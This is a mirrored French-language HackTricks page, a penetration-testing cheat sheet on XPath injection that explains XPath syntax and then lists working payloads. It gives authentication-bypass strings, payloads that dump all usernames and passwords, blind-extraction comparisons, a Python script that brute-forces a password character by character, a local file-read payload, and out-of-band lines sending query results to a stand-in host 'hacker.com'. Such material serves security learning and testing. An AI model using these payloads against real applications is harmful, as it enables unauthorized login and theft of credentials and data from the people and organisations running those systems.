mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
323 lines
14 KiB
Markdown
323 lines
14 KiB
Markdown
# Injection XPATH
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
|
|
|
**Perspectives de piratage**\
|
|
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
|
|
|
**Actualités de piratage en temps réel**\
|
|
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
|
|
|
|
**Dernières annonces**\
|
|
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
|
|
|
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !
|
|
|
|
## Syntaxe de base
|
|
|
|
Une technique d'attaque connue sous le nom d'injection XPath est utilisée pour exploiter les applications qui forment des requêtes XPath (XML Path Language) basées sur l'entrée de l'utilisateur pour interroger ou naviguer dans des documents XML.
|
|
|
|
### Noeuds décrits
|
|
|
|
Des expressions sont utilisées pour sélectionner différents noeuds dans un document XML. Ces expressions et leurs descriptions sont résumées ci-dessous :
|
|
|
|
- **nodename** : Tous les noeuds portant le nom "nodename" sont sélectionnés.
|
|
- **/** : La sélection est faite à partir du noeud racine.
|
|
- **//** : Les noeuds correspondant à la sélection à partir du noeud actuel sont sélectionnés, quel que soit leur emplacement dans le document.
|
|
- **.** : Le noeud actuel est sélectionné.
|
|
- **..** : Le parent du noeud actuel est sélectionné.
|
|
- **@** : Les attributs sont sélectionnés.
|
|
|
|
### Exemples XPath
|
|
|
|
Des exemples d'expressions de chemin et de leurs résultats incluent :
|
|
|
|
- **bookstore** : Tous les noeuds nommés "bookstore" sont sélectionnés.
|
|
- **/bookstore** : L'élément racine bookstore est sélectionné. Il est noté qu'un chemin absolu vers un élément est représenté par un chemin commençant par un slash (/).
|
|
- **bookstore/book** : Tous les éléments book qui sont des enfants de bookstore sont sélectionnés.
|
|
- **//book** : Tous les éléments book du document sont sélectionnés, quel que soit leur emplacement.
|
|
- **bookstore//book** : Tous les éléments book qui sont des descendants de l'élément bookstore sont sélectionnés, quelle que soit leur position sous l'élément bookstore.
|
|
- **//@lang** : Tous les attributs nommés lang sont sélectionnés.
|
|
|
|
### Utilisation de prédicats
|
|
|
|
Les prédicats sont utilisés pour affiner les sélections :
|
|
|
|
- **/bookstore/book[1]** : Le premier élément book enfant de l'élément bookstore est sélectionné. Une solution de contournement pour les versions d'IE de 5 à 9, qui indexent le premier noeud comme [0], consiste à définir la SelectionLanguage sur XPath via JavaScript.
|
|
- **/bookstore/book[last()]** : Le dernier élément book enfant de l'élément bookstore est sélectionné.
|
|
- **/bookstore/book[last()-1]** : Le dernier élément book enfant de l'élément bookstore est sélectionné.
|
|
- **/bookstore/book[position()<3]** : Les deux premiers éléments book enfants de l'élément bookstore sont sélectionnés.
|
|
- **//title[@lang]** : Tous les éléments title avec un attribut lang sont sélectionnés.
|
|
- **//title[@lang='en']** : Tous les éléments title avec une valeur d'attribut "lang" de "en" sont sélectionnés.
|
|
- **/bookstore/book[price>35.00]** : Tous les éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés.
|
|
- **/bookstore/book[price>35.00]/title** : Tous les éléments title des éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés.
|
|
|
|
### Gestion des noeuds inconnus
|
|
|
|
Des jokers sont utilisés pour faire correspondre des noeuds inconnus :
|
|
|
|
- **\*** : Correspond à n'importe quel noeud élément.
|
|
- **@*** : Correspond à n'importe quel noeud attribut.
|
|
- **node()** : Correspond à n'importe quel noeud de n'importe quel type.
|
|
|
|
D'autres exemples incluent :
|
|
|
|
- **/bookstore/\*** : Sélectionne tous les noeuds élément enfants de l'élément bookstore.
|
|
- **//\*** : Sélectionne tous les éléments dans le document.
|
|
- **//title[@\*]** : Sélectionne tous les éléments title avec au moins un attribut de n'importe quel type.
|
|
|
|
|
|
## Exemple
|
|
```xml
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
<data>
|
|
<user>
|
|
<name>pepe</name>
|
|
<password>peponcio</password>
|
|
<account>admin</account>
|
|
</user>
|
|
<user>
|
|
<name>mark</name>
|
|
<password>m12345</password>
|
|
<account>regular</account>
|
|
</user>
|
|
<user>
|
|
<name>fino</name>
|
|
<password>fino2</password>
|
|
<account>regular</account>
|
|
</user>
|
|
</data>
|
|
```
|
|
### Accéder aux informations
|
|
```
|
|
All names - [pepe, mark, fino]
|
|
name
|
|
//name
|
|
//name/node()
|
|
//name/child::node()
|
|
user/name
|
|
user//name
|
|
/user/name
|
|
//user/name
|
|
|
|
All values - [pepe, peponcio, admin, mark, ...]
|
|
//user/node()
|
|
//user/child::node()
|
|
|
|
|
|
Positions
|
|
//user[position()=1]/name #pepe
|
|
//user[last()-1]/name #mark
|
|
//user[position()=1]/child::node()[position()=2] #peponcio (password)
|
|
|
|
Functions
|
|
count(//user/node()) #3*3 = 9 (count all values)
|
|
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
|
|
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
|
|
```
|
|
### Identifier et voler le schéma
|
|
```python
|
|
and count(/*) = 1 #root
|
|
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
|
|
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
|
|
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
|
|
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
|
|
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
|
|
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
|
|
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
|
|
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
|
|
|
|
#The previous solutions are the representation of a schema like the following
|
|
#(at this stage we don't know the name of the tags, but jus the schema)
|
|
<root>
|
|
<a>
|
|
<b></b>
|
|
</a>
|
|
<c>
|
|
<d></d>
|
|
<e></e>
|
|
<f>
|
|
<h></h>
|
|
</f>
|
|
</c>
|
|
</root>
|
|
|
|
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
|
|
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
|
|
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
|
|
|
|
#Stealing the schema via OOB
|
|
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
|
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
|
```
|
|
## Contournement de l'authentification
|
|
|
|
### **Exemple de requêtes:**
|
|
```
|
|
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
|
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
|
```
|
|
### **Contournement OR dans l'utilisateur et le mot de passe (même valeur dans les deux)**
|
|
```
|
|
' or '1'='1
|
|
" or "1"="1
|
|
' or ''='
|
|
" or ""="
|
|
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
|
|
|
|
Select account
|
|
Select the account using the username and use one of the previous values in the password field
|
|
```
|
|
### **Abus de l'injection de null**
|
|
```
|
|
Username: ' or 1]%00
|
|
```
|
|
### **Double OU dans le nom d'utilisateur ou dans le mot de passe** (est valide avec seulement 1 champ vulnérable)
|
|
|
|
IMPORTANT : Remarquez que le **"et" est la première opération effectuée**.
|
|
```
|
|
Bypass with first match
|
|
(This requests are also valid without spaces)
|
|
' or /* or '
|
|
' or "a" or '
|
|
' or 1 or '
|
|
' or true() or '
|
|
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
|
|
|
|
Select account
|
|
'or string-length(name(.))<10 or' #Select account with length(name)<10
|
|
'or contains(name,'adm') or' #Select first account having "adm" in the name
|
|
'or contains(.,'adm') or' #Select first account having "adm" in the current value
|
|
'or position()=2 or' #Select 2º account
|
|
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
|
|
|
|
Select account (name known)
|
|
admin' or '
|
|
admin' or '1'='2
|
|
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
|
|
```
|
|
## Extraction de chaîne
|
|
|
|
La sortie contient des chaînes et l'utilisateur peut manipuler les valeurs pour effectuer des recherches :
|
|
```
|
|
/user/username[contains(., '+VALUE+')]
|
|
```
|
|
|
|
```
|
|
') or 1=1 or (' #Get all names
|
|
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
|
') or 2=1] | //user/node()[('')=(' #Get all values
|
|
')] | //./node()[('')=(' #Get all values
|
|
')] | //node()[('')=(' #Get all values
|
|
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
|
')] | //password%00 #All names and passwords (abusing null injection)
|
|
')]/../*[3][text()!=(' #All the passwords
|
|
')] | //user/*[1] | a[(' #The ID of all users
|
|
')] | //user/*[2] | a[(' #The name of all users
|
|
')] | //user/*[3] | a[(' #The password of all users
|
|
')] | //user/*[4] | a[(' #The account of all users
|
|
```
|
|
## Exploitation à l'aveugle
|
|
|
|
### **Obtenir la longueur d'une valeur et l'extraire par des comparaisons :**
|
|
```bash
|
|
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
|
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
|
|
|
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
|
|
|
|
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
|
|
```
|
|
### **Exemple Python**
|
|
```python
|
|
import requests, string
|
|
|
|
flag = ""
|
|
l = 0
|
|
alphabet = string.ascii_letters + string.digits + "{}_()"
|
|
for i in range(30):
|
|
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
|
|
if ("TRUE_COND" in r.text):
|
|
l = i
|
|
break
|
|
print("[+] Password length: " + str(l))
|
|
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
|
|
for al in alphabet:
|
|
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
|
|
if ("TRUE_COND" in r.text):
|
|
flag += al
|
|
print("[+] Flag: " + flag)
|
|
break
|
|
```
|
|
### Lire le fichier
|
|
```python
|
|
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
|
```
|
|
## Exploitation OOB
|
|
```python
|
|
doc(concat("http://hacker.com/oob/", RESULTS))
|
|
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
|
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
|
|
|
|
#Instead of doc() you can use the function doc-available
|
|
doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|
#the doc available will respond true or false depending if the doc exists,
|
|
#user not(doc-available(...)) to invert the result if you need to
|
|
```
|
|
### Outil automatique
|
|
|
|
* [xcat](https://xcat.readthedocs.io/)
|
|
* [xxxpwn](https://github.com/feakk/xxxpwn)
|
|
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
|
|
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
|
|
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
|
|
|
|
## Références
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
|
|
* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
|
|
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
|
|
|
**Perspectives sur le piratage**\
|
|
Engagez-vous avec du contenu qui explore les défis et l'excitation du piratage
|
|
|
|
**Actualités sur le piratage en temps réel**\
|
|
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel
|
|
|
|
**Dernières annonces**\
|
|
Restez informé des nouvelles primes au bug lancées et des mises à jour cruciales de la plateforme
|
|
|
|
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|